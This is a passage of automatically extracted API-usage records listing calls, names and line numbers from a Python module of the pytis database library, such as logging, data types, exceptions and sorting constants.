"line_number": 872, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 881, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 881, "usage_type": "argument"}, {"api_name": "pytis.util.Locked", "line_number": 882, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 886, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 886, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 890, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 890, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 895, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 895, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 900, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 900, "usage_type": "argument"}, {"api_name": "pytis.util.remove_duplicates", "line_number": 907, "usage_type": "call"}, {"api_name": "pytis.data.DBException", "line_number": 909, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 910, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 920, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 920, "usage_type": "argument"}, {"api_name": "pytis.util.Locked", "line_number": 921, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 922, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 927, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 927, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 933, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 933, "usage_type": "argument"}, {"api_name": "pytis.util.Locked", "line_number": 934, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 942, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 942, "usage_type": "argument"}, {"api_name": "pytis.data.config", "line_number": 961, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 961, "usage_type": "name"}, {"api_name": "pytis.data.DBData", "line_number": 986, "usage_type": "name"}, {"api_name": "pytis.util.Counter", "line_number": 1022, "usage_type": "call"}, {"api_name": "_thread.allocate_lock", "line_number": 1023, "usage_type": "call"}, {"api_name": "builtins.object", "line_number": 1027, "usage_type": "name"}, {"api_name": "pytis.util.Locked", "line_number": 1045, "usage_type": "call"}, {"api_name": "past.builtins.basestring", "line_number": 1101, "usage_type": "argument"}, {"api_name": "pytis.data.FullTextIndex", "line_number": 1137, "usage_type": "argument"}, {"api_name": "pytis.data.LTree", "line_number": 1139, "usage_type": "argument"}, {"api_name": "pytis.data.String", "line_number": 1150, "usage_type": "argument"}, {"api_name": "pytis.data.String", "line_number": 1151, "usage_type": "argument"}, {"api_name": "pytis.data.Float", "line_number": 1153, "usage_type": "argument"}, {"api_name": "pytis.data.Float", "line_number": 1154, "usage_type": "argument"}, {"api_name": "pytis.data.Integer", "line_number": 1156, "usage_type": "argument"}, {"api_name": "pytis.data.Integer", "line_number": 1157, "usage_type": "argument"}, {"api_name": "pytis.data.Binary", "line_number": 1159, "usage_type": "argument"}, {"api_name": "pytis.data.Binary", "line_number": 1160, "usage_type": "argument"}, {"api_name": "pytis.data.sval", "line_number": 1164, "usage_type": "call"}, {"api_name": "past.builtins.basestring", "line_number": 1165, "usage_type": "argument"}, {"api_name": "pytis.data.String", "line_number": 1170, "usage_type": "name"}, {"api_name": "pytis.data.Range", "line_number": 1170, "usage_type": "name"}, {"api_name": "pytis.data.Float", "line_number": 1172, "usage_type": "argument"}, {"api_name": "pytis.data.Number", "line_number": 1174, "usage_type": "argument"}, {"api_name": "pytis.data.Time", "line_number": 1176, "usage_type": "argument"}, {"api_name": "pytis.data.Date", "line_number": 1178, "usage_type": "argument"}, {"api_name": "pytis.data.DateTime", "line_number": 1180, "usage_type": "argument"}, {"api_name": "pytis.data.Boolean", "line_number": 1182, "usage_type": "argument"}, {"api_name": "pytis.data.DBException", "line_number": 1298, "usage_type": "call"}, {"api_name": "pytis.data.Boolean", "line_number": 1316, "usage_type": "name"}, {"api_name": "pytis.data.String", "line_number": 1317, "usage_type": "name"}, {"api_name": "pytis.data.String", "line_number": 1318, "usage_type": "name"}, {"api_name": "pytis.data.Date", "line_number": 1319, "usage_type": "name"}, {"api_name": "pytis.data.Time", "line_number": 1320, "usage_type": "name"}, {"api_name": "pytis.data.Time", "line_number": 1321, "usage_type": "name"}, {"api_name": "pytis.data.Integer", "line_number": 1322, "usage_type": "name"}, {"api_name": "pytis.data.Integer", "line_number": 1323, "usage_type": "name"}, {"api_name": "pytis.data.Integer", "line_number": 1324, "usage_type": "name"}, {"api_name": "pytis.data.Integer", "line_number": 1325, "usage_type": "name"}, {"api_name": "pytis.data.data", "line_number": 1326, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 1326, "usage_type": "name"}, {"api_name": "pytis.data.data", "line_number": 1327, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 1327, "usage_type": "name"}, {"api_name": "pytis.data.data", "line_number": 1328, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 1328, "usage_type": "name"}, {"api_name": "pytis.data.Float", "line_number": 1329, "usage_type": "name"}, {"api_name": "pytis.data.Float", "line_number": 1330, "usage_type": "name"}, {"api_name": "pytis.data.Float", "line_number": 1331, "usage_type": "name"}, {"api_name": "pytis.data.String", "line_number": 1332, "usage_type": "name"}, {"api_name": "pytis.data.String", "line_number": 1333, "usage_type": "name"}, {"api_name": "pytis.data.DateTime", "line_number": 1334, "usage_type": "name"}, {"api_name": "pytis.data.DateTime", "line_number": 1335, "usage_type": "name"}, {"api_name": "pytis.data.TimeInterval", "line_number": 1336, "usage_type": "name"}, {"api_name": "pytis.data.data", "line_number": 1337, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 1337, "usage_type": "name"}, {"api_name": "pytis.data.data", "line_number": 1338, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 1338, "usage_type": "name"}, {"api_name": "pytis.data.data", "line_number": 1339, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 1339, "usage_type": "name"}, {"api_name": "pytis.data.FullTextIndex", "line_number": 1340, "usage_type": "name"}, {"api_name": "pytis.data.String", "line_number": 1341, "usage_type": "name"}, {"api_name": "pytis.data.LTree", "line_number": 1342, "usage_type": "name"}, {"api_name": "pytis.data.Inet", "line_number": 1343, "usage_type": "name"}, {"api_name": "pytis.data.Macaddr", "line_number": 1344, "usage_type": "name"}, {"api_name": "pytis.data.Binary", "line_number": 1345, "usage_type": "name"}, {"api_name": "pytis.data.Uuid", "line_number": 1346, "usage_type": "name"}, {"api_name": "pytis.data.JSON", "line_number": 1347, "usage_type": "name"}, {"api_name": "pytis.data.JSONB", "line_number": 1348, "usage_type": "name"}, {"api_name": "pytis.data.data", "line_number": 1349, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 1349, "usage_type": "name"}, {"api_name": "pytis.data.String", "line_number": 1350, "usage_type": "name"}, {"api_name": "pytis.data.data.DBException", "line_number": 1360, "usage_type": "call"}, {"api_name": "pytis.data.data", "line_number": 1360, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 1360, "usage_type": "name"}, {"api_name": "pytis.data.Boolean", "line_number": 1364, "usage_type": "name"}, {"api_name": "pytis.data.String", "line_number": 1366, "usage_type": "name"}, {"api_name": "pytis.data.Float", "line_number": 1375, "usage_type": "name"}, {"api_name": "pytis.data.Integer", "line_number": 1383, "usage_type": "name"}, {"api_name": "pytis.data.Serial", "line_number": 1384, "usage_type": "name"}, {"api_name": "pytis.data.data", "line_number": 1389, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 1389, "usage_type": "name"}, {"api_name": "pytis.data.data", "line_number": 1396, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 1396, "usage_type": "name"}, {"api_name": "pytis.data.Binary", "line_number": 1398, "usage_type": "name"}, {"api_name": "pytis.data.TimeInterval", "line_number": 1403, "usage_type": "argument"}, {"api_name": "pytis.data.Time", "line_number": 1404, "usage_type": "name"}, {"api_name": "pytis.data.data", "line_number": 1409, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 1409, "usage_type": "name"}, {"api_name": "pytis.data.ColumnSpec", "line_number": 1435, "usage_type": "call"}, {"api_name": "pytis.data.Binary", "line_number": 1438, "usage_type": "argument"}, {"api_name": "pytis.data.DBUserException", "line_number": 1440, "usage_type": "call"}, {"api_name": "pytis.data.sval", "line_number": 1466, "usage_type": "call"}, {"api_name": "pytis.data.DBColumnBinding", "line_number": 1482, "usage_type": "argument"}, {"api_name": "pytis.data.Integer", "line_number": 1506, "usage_type": "call"}, {"api_name": "pytis.data.Float", "line_number": 1508, "usage_type": "call"}, {"api_name": "pytis.data.DBColumnBinding", "line_number": 1512, "usage_type": "call"}, {"api_name": "pytis.data.ColumnSpec", "line_number": 1515, "usage_type": "call"}, {"api_name": "pytis.data.ColumnSpec", "line_number": 1518, "usage_type": "call"}, {"api_name": "pytis.data.DBColumnBinding", "line_number": 1519, "usage_type": "call"}, {"api_name": "pytis.util.remove_duplicates", "line_number": 1542, "usage_type": "call"}, {"api_name": "past.builtins.basestring", "line_number": 1563, "usage_type": "argument"}, {"api_name": "pytis.data.gensqlalchemy.SQLTable", "line_number": 1603, "usage_type": "name"}, {"api_name": "pytis.data.gensqlalchemy.SQLView", "line_number": 1631, "usage_type": "name"}, {"api_name": "pytis.data.sval", "line_number": 1642, "usage_type": "call"}, {"api_name": "pytis.data.DBLockException", "line_number": 1656, "usage_type": "name"}, {"api_name": "pytis.data.DBUserException", "line_number": 1658, "usage_type": "name"}, {"api_name": "re.finditer", "line_number": 1692, "usage_type": "call"}, {"api_name": "re.I", "line_number": 1692, "usage_type": "attribute"}, {"api_name": "pytis.util.log", "line_number": 1713, "usage_type": "call"}, {"api_name": "pytis.util.EVENT", "line_number": 1713, "usage_type": "argument"}, {"api_name": "pytis.util.ProgramError", "line_number": 1840, "usage_type": "call"}, {"api_name": "builtins.range", "line_number": 1843, "usage_type": "call"}, {"api_name": "past.builtins.basestring", "line_number": 1898, "usage_type": "argument"}, {"api_name": "pytis.data.Value", "line_number": 1900, "usage_type": "argument"}, {"api_name": "pytis.util.ProgramError", "line_number": 1903, "usage_type": "call"}, {"api_name": "pytis.data.Operator", "line_number": 1907, "usage_type": "argument"}, {"api_name": "past.builtins.basestring", "line_number": 1909, "usage_type": "argument"}, {"api_name": "past.builtins.basestring", "line_number": 1920, "usage_type": "argument"}, {"api_name": "pytis.data.Value", "line_number": 1924, "usage_type": "argument"}, {"api_name": "pytis.data.Binary", "line_number": 1925, "usage_type": "argument"}, {"api_name": "pytis.data.String", "line_number": 1932, "usage_type": "argument"}, {"api_name": "pytis.data.sval", "line_number": 1973, "usage_type": "call"}, {"api_name": "pytis.data.Operator", "line_number": 1977, "usage_type": "argument"}, {"api_name": "pytis.data.Operator", "line_number": 1983, "usage_type": "argument"}, {"api_name": "pytis.data.data.AND", "line_number": 1993, "usage_type": "call"}, {"api_name": "pytis.data.data", "line_number": 1993, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 1993, "usage_type": "name"}, {"api_name": "pytis.data.Type", "line_number": 1999, "usage_type": "argument"}, {"api_name": "pytis.data.sval", "line_number": 2015, "usage_type": "call"}, {"api_name": "pytis.util.ProgramError", "line_number": 2019, "usage_type": "call"}, {"api_name": "pytis.data.ASCENDENT", "line_number": 2036, "usage_type": "name"}, {"api_name": "pytis.data.DESCENDANT", "line_number": 2036, "usage_type": "name"}, {"api_name": "pytis.data.DateTime", "line_number": 2078, "usage_type": "name"}, {"api_name": "pytis.data.Time", "line_number": 2078, "usage_type": "name"}, {"api_name": "pytis.data.DateTime", "line_number": 2083, "usage_type": "argument"}, {"api_name": "pytis.data.DateTime.LOCAL_TZINFO", "line_number": 2085, "usage_type": "attribute"}, {"api_name": "pytis.data.DateTime", "line_number": 2085, "usage_type": "name"}, {"api_name": "pytis.data.Value", "line_number": 2087, "usage_type": "call"}, {"api_name": "pytis.data.DateTime", "line_number": 2091, "usage_type": "argument"}, {"api_name": "pytis.data.Value", "line_number": 2094, "usage_type": "call"}, {"api_name": "pytis.data.DateTime.LOCAL_TZINFO", "line_number": 2094, "usage_type": "attribute"}, {"api_name": "pytis.data.DateTime", "line_number": 2094, "usage_type": "name"}, {"api_name": "pytis.data.String", "line_number": 2096, "usage_type": "argument"}, {"api_name": "pytis.data.Float", "line_number": 2098, "usage_type": "argument"}, {"api_name": "pytis.data.Integer", "line_number": 2100, "usage_type": "argument"}, {"api_name": "pytis.data.Binary", "line_number": 2102, "usage_type": "argument"}, {"api_name": "pytis.data.Binary", "line_number": 2106, "usage_type": "argument"}, {"api_name": "pytis.data.sval", "line_number": 2110, "usage_type": "call"}, {"api_name": "pytis.data.sval", "line_number": 2112, "usage_type": "call"}, {"api_name": "pytis.data.sval", "line_number": 2115, "usage_type": "call"}, {"api_name": "builtins.range", "line_number": 2123, "usage_type": "call"}, {"api_name": "pytis.data.Type", "line_number": 2126, "usage_type": "argument"}, {"api_name": "pytis.data.FORWARD", "line_number": 2154, "usage_type": "name"}, {"api_name": "pytis.data.BACKWARD", "line_number": 2156, "usage_type": "name"}, {"api_name": "pytis.data.reversed_sorting", "line_number": 2157, "usage_type": "call"}, {"api_name": "pytis.util.ProgramError", "line_number": 2159, "usage_type": "call"}, {"api_name": "pytis.util.ecase", "line_number": 2170, "usage_type": "call"}, {"api_name": "pytis.data.FORWARD", "line_number": 2171, "usage_type": "name"}, {"api_name": "pytis.data.ASCENDENT", "line_number": 2171, "usage_type": "name"}, {"api_name": "pytis.data.BACKWARD", "line_number": 2172, "usage_type": "name"}, {"api_name": "pytis.data.DESCENDANT", "line_number": 2172, "usage_type": "name"}, {"api_name": "pytis.data.EQ", "line_number": 2182, "usage_type": "call"}, {"api_name": "pytis.data.ASCENDENT", "line_number": 2183, "usage_type": "name"}, {"api_name": "pytis.data.DESCENDANT", "line_number": 2183, "usage_type": "name"}, {"api_name": "pytis.data.GT", "line_number": 2184, "usage_type": "name"}, {"api_name": "pytis.data.LT", "line_number": 2186, "usage_type": "name"}, {"api_name": "pytis.data.LT", "line_number": 2188, "usage_type": "name"}, {"api_name": "pytis.data.NE", "line_number": 2189, "usage_type": "call"}, {"api_name": "pytis.data.GT", "line_number": 2192, "usage_type": "name"}, {"api_name": "pytis.data.Value", "line_number": 2193, "usage_type": "call"}, {"api_name": "pytis.data.OR", "line_number": 2194, "usage_type": "call"}, {"api_name": "pytis.data.EQ", "line_number": 2194, "usage_type": "call"}, {"api_name": "pytis.data.AND", "line_number": 2197, "usage_type": "call"}, {"api_name": "pytis.data.EQ", "line_number": 2200, "usage_type": "call"}, {"api_name": "pytis.data.AND", "line_number": 2201, "usage_type": "call"}, {"api_name": "pytis.data.OR", "line_number": 2202, "usage_type": "call"}, {"api_name": "pytis.data.AND", "line_number": 2204, "usage_type": "call"}, {"api_name": "pytis.data.AND", "line_number": 2208, "usage_type": "call"}, {"api_name": "pytis.data.FORWARD", "line_number": 2210, "usage_type": "name"}, {"api_name": "pytis.data.BACKWARD", "line_number": 2212, "usage_type": "name"}, {"api_name": "pytis.util.ProgramError", "line_number": 2215, "usage_type": "call"}, {"api_name": "pytis.data.AND", "line_number": 2227, "usage_type": "call"}, {"api_name": "pytis.util.ProgramError", "line_number": 2238, "usage_type": "call"}, {"api_name": "builtins.object", "line_number": 2241, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 2243, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 2250, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 2250, "usage_type": "attribute"}, {"api_name": "threading.Event", "line_number": 2258, "usage_type": "call"}, {"api_name": "pytis.data.ival", "line_number": 2271, "usage_type": "call"}, {"api_name": "pytis.data.ival", "line_number": 2278, "usage_type": "call"}, {"api_name": "pytis.data.ival", "line_number": 2289, "usage_type": "call"}, {"api_name": "pytis.data.DBUserException", "line_number": 2293, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 2294, "usage_type": "call"}, {"api_name": "pytis.util.OPERATIONAL", "line_number": 2294, "usage_type": "argument"}, {"api_name": "pytis.data.util.format_traceback", "line_number": 2295, "usage_type": "call"}, {"api_name": "pytis.data.util", "line_number": 2295, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 2295, "usage_type": "name"}, {"api_name": "sys.exc_info", "line_number": 2296, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 2309, "usage_type": "call"}, {"api_name": "pytis.data.ival", "line_number": 2310, "usage_type": "call"}, {"api_name": "time.time", "line_number": 2327, "usage_type": "call"}, {"api_name": "time.time", "line_number": 2329, "usage_type": "call"}, {"api_name": "time.time", "line_number": 2332, "usage_type": "call"}, {"api_name": "time.time", "line_number": 2337, "usage_type": "call"}, {"api_name": "pytis.data.ival", "line_number": 2356, "usage_type": "call"}, {"api_name": "pytis.data.form.top_level_exception", "line_number": 2379, "usage_type": "call"}, {"api_name": "pytis.data.form", "line_number": 2379, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 2379, "usage_type": "name"}, {"api_name": "pytis.data.data", "line_number": 2438, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 2438, "usage_type": "name"}, {"api_name": "pytis.data.ival", "line_number": 2462, "usage_type": "call"}, {"api_name": "pytis.data.String", "line_number": 2491, "usage_type": "argument"}, {"api_name": "pytis.data.ival", "line_number": 2492, "usage_type": "call"}, {"api_name": "pytis.util.ProgramError", "line_number": 2494, "usage_type": "call"}, {"api_name": "pytis.data.ASCENDENT", "line_number": 2497, "usage_type": "name"}, {"api_name": "pytis.data.DESCENDANT", "line_number": 2497, "usage_type": "name"}, {"api_name": "pytis.data.Number", "line_number": 2512, "usage_type": "name"}, {"api_name": "pytis.data.DateTime", "line_number": 2512, "usage_type": "name"}, {"api_name": "pytis.data.String", "line_number": 2512, "usage_type": "name"}, {"api_name": "pytis.data.Number", "line_number": 2514, "usage_type": "name"}, {"api_name": "sys.exc_info", "line_number": 2529, "usage_type": "call"}, {"api_name": "future.utils.raise_", "line_number": 2536, "usage_type": "call"}, {"api_name": "pytis.data.Integer", "line_number": 2539, "usage_type": "call"}, {"api_name": "pytis.data.Float", "line_number": 2540, "usage_type": "call"}, {"api_name": "pytis.data.Value", "line_number": 2549, "usage_type": "call"}, {"api_name": "pytis.util.ProgramError", "line_number": 2563, "usage_type": "call"}, {"api_name": "pytis.data.ival", "line_number": 2582, "usage_type": "call"}, {"api_name": "pytis.data.FORWARD", "line_number": 2583, "usage_type": "name"}, {"api_name": "pytis.data.BACKWARD", "line_number": 2585, "usage_type": "name"}, {"api_name": "pytis.util.ProgramError", "line_number": 2588, "usage_type": "call"}, {"api_name": "pytis.data.ival", "line_number": 2593, "usage_type": "call"}, {"api_name": "pytis.data.FORWARD", "line_number": 2594, "usage_type": "name"}, {"api_name": "pytis.data.BACKWARD", "line_number": 2597, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 2602, "usage_type": "call"}, {"api_name": "pytis.util.OPERATIONAL", "line_number": 2602, "usage_type": "argument"}, {"api_name": "pytis.util.ProgramError", "line_number": 2605, "usage_type": "call"}, {"api_name": "pytis.data.ival", "line_number": 2610, "usage_type": "call"}, {"api_name": "builtins.range", "line_number": 2632, "usage_type": "call"}, {"api_name": "pytis.util.ProgramError", "line_number": 2635, "usage_type": "call"}, {"api_name": "pytis.data.ival", "line_number": 2637, "usage_type": "call"}, {"api_name": "pytis.data.ival", "line_number": 2638, "usage_type": "call"}, {"api_name": "pytis.data.Value", "line_number": 2653, "usage_type": "call"}, {"api_name": "pytis.data.Integer", "line_number": 2653, "usage_type": "call"}, {"api_name": "pytis.util.ProgramError", "line_number": 2666, "usage_type": "call"}, {"api_name": "pytis.data.DBInsertException", "line_number": 2674, "usage_type": "name"}, {"api_name": "pytis.data.Serial", "line_number": 2685, "usage_type": "argument"}, {"api_name": "pytis.data.ival", "line_number": 2688, "usage_type": "call"}, {"api_name": "pytis.data.DBException", "line_number": 2693, "usage_type": "name"}, {"api_name": "pytis.data.DBSystemException", "line_number": 2725, "usage_type": "call"}, {"api_name": "pytis.data.DBSystemException", "line_number": 2743, "usage_type": "call"}, {"api_name": "pytis.data.DBSystemException", "line_number": 2757, "usage_type": "call"}, {"api_name": "pytis.data.DBSystemException", "line_number": 2761, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 2798, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 2798, "usage_type": "argument"}, {"api_name": "pytis.util.is_sequence", "line_number": 2799, "usage_type": "call"}, {"api_name": "pytis.data.data.FetchBuffer", "line_number": 2808, "usage_type": "call"}, {"api_name": "pytis.data.data", "line_number": 2808, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 2808, "usage_type": "name"}, {"api_name": "pytis.data.config", "line_number": 2809, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 2809, "usage_type": "name"}, {"api_name": "pytis.data.config", "line_number": 2810, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 2810, "usage_type": "name"}, {"api_name": "pytis.data.config", "line_number": 2811, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 2811, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 2831, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 2831, "usage_type": "argument"}, {"api_name": "pytis.data.DBRetryException", "line_number": 2854, "usage_type": "name"}, {"api_name": "pytis.data.String", "line_number": 2875, "usage_type": "name"}, {"api_name": "pytis.data.LTree", "line_number": 2875, "usage_type": "name"}, {"api_name": "pytis.data.Time", "line_number": 2877, "usage_type": "name"}, {"api_name": "pytis.data.DateTime", "line_number": 2877, "usage_type": "name"}, {"api_name": "pytis.data.TimeInterval", "line_number": 2879, "usage_type": "argument"}, {"api_name": "pytis.util.ProgramError", "line_number": 2894, "usage_type": "call"}, {"api_name": "pytis.data.Row", "line_number": 2902, "usage_type": "call"}, {"api_name": "pytis.data.Value", "line_number": 2902, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 2932, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 2932, "usage_type": "argument"}, {"api_name": "pytis.util.xtuple", "line_number": 2933, "usage_type": "call"}, {"api_name": "pytis.data.AND", "line_number": 2935, "usage_type": "call"}, {"api_name": "pytis.data.EQ", "line_number": 2935, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 2937, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 2937, "usage_type": "argument"}, {"api_name": "pytis.data.NotWithinSelect", "line_number": 2964, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 2997, "usage_type": "call"}, {"api_name": "future.utils.raise_", "line_number": 3002, "usage_type": "call"}, {"api_name": "pytis.util.is_sequence", "line_number": 3013, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3025, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3025, "usage_type": "argument"}, {"api_name": "pytis.data.DBTransactionDefault", "line_number": 3043, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 3080, "usage_type": "call"}, {"api_name": "future.utils.raise_", "line_number": 3087, "usage_type": "call"}, {"api_name": "pytis.data.Number", "line_number": 3114, "usage_type": "argument"}, {"api_name": "pytis.data.Value", "line_number": 3126, "usage_type": "call"}, {"api_name": "pytis.data.Type", "line_number": 3126, "usage_type": "call"}, {"api_name": "pytis.data.Row", "line_number": 3129, "usage_type": "call"}, {"api_name": "pytis.data.ASCENDENT", "line_number": 3131, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 3167, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3167, "usage_type": "argument"}, {"api_name": "pytis.data.FORWARD", "line_number": 3168, "usage_type": "name"}, {"api_name": "pytis.data.BACKWARD", "line_number": 3168, "usage_type": "name"}, {"api_name": "pytis.data.FORWARD", "line_number": 3176, "usage_type": "argument"}, {"api_name": "pytis.data.BACKWARD", "line_number": 3180, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3182, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3182, "usage_type": "argument"}, {"api_name": "pytis.data.FORWARD", "line_number": 3197, "usage_type": "argument"}, {"api_name": "sys.exc_info", "line_number": 3200, "usage_type": "call"}, {"api_name": "future.utils.raise_", "line_number": 3207, "usage_type": "call"}, {"api_name": "pytis.data.FORWARD", "line_number": 3229, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 3231, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3231, "usage_type": "argument"}, {"api_name": "past.builtins.long", "line_number": 3232, "usage_type": "name"}, {"api_name": "pytis.data.FORWARD", "line_number": 3233, "usage_type": "name"}, {"api_name": "pytis.data.BACKWARD", "line_number": 3233, "usage_type": "name"}, {"api_name": "pytis.data.FORWARD", "line_number": 3237, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 3243, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3243, "usage_type": "argument"}, {"api_name": "pytis.data.FORWARD", "line_number": 3250, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 3258, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3258, "usage_type": "argument"}, {"api_name": "pytis.data.FORWARD", "line_number": 3259, "usage_type": "name"}, {"api_name": "pytis.data.BACKWARD", "line_number": 3259, "usage_type": "name"}, {"api_name": "pytis.data.BACKWARD", "line_number": 3267, "usage_type": "name"}, {"api_name": "pytis.data.FORWARD", "line_number": 3267, "usage_type": "name"}, {"api_name": "sys.exc_info", "line_number": 3274, "usage_type": "call"}, {"api_name": "future.utils.raise_", "line_number": 3286, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3288, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3288, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3293, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3293, "usage_type": "argument"}, {"api_name": "pytis.data.DBSystemException", "line_number": 3302, "usage_type": "name"}, {"api_name": "pytis.data.DBRetryException", "line_number": 3311, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 3335, "usage_type": "call"}, {"api_name": "pytis.util.ACTION", "line_number": 3335, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3345, "usage_type": "call"}, {"api_name": "pytis.util.ACTION", "line_number": 3345, "usage_type": "argument"}, {"api_name": "sys.exc_info", "line_number": 3351, "usage_type": "call"}, {"api_name": "future.utils.raise_", "line_number": 3357, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3366, "usage_type": "call"}, {"api_name": "pytis.util.ACTION", "line_number": 3366, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3368, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3368, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3376, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3376, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3382, "usage_type": "call"}, {"api_name": "pytis.util.ACTION", "line_number": 3382, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3384, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3384, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3388, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3388, "usage_type": "argument"}, {"api_name": "pytis.util.xtuple", "line_number": 3393, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3394, "usage_type": "call"}, {"api_name": "pytis.util.ACTION", "line_number": 3394, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3396, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3396, "usage_type": "argument"}, {"api_name": "copy.copy", "line_number": 3404, "usage_type": "call"}, {"api_name": "builtins.range", "line_number": 3412, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3421, "usage_type": "call"}, {"api_name": "pytis.util.ACTION", "line_number": 3421, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3433, "usage_type": "call"}, {"api_name": "pytis.util.ACTION", "line_number": 3433, "usage_type": "argument"}, {"api_name": "sys.exc_info", "line_number": 3436, "usage_type": "call"}, {"api_name": "future.utils.raise_", "line_number": 3442, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3450, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3450, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3454, "usage_type": "call"}, {"api_name": "pytis.util.ACTION", "line_number": 3454, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3456, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3456, "usage_type": "argument"}, {"api_name": "pytis.data.Row", "line_number": 3466, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 3469, "usage_type": "call"}, {"api_name": "future.utils.raise_", "line_number": 3475, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3483, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3483, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3487, "usage_type": "call"}, {"api_name": "pytis.util.ACTION", "line_number": 3487, "usage_type": "argument"}, {"api_name": "sys.exc_info", "line_number": 3494, "usage_type": "call"}, {"api_name": "future.utils.raise_", "line_number": 3500, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3507, 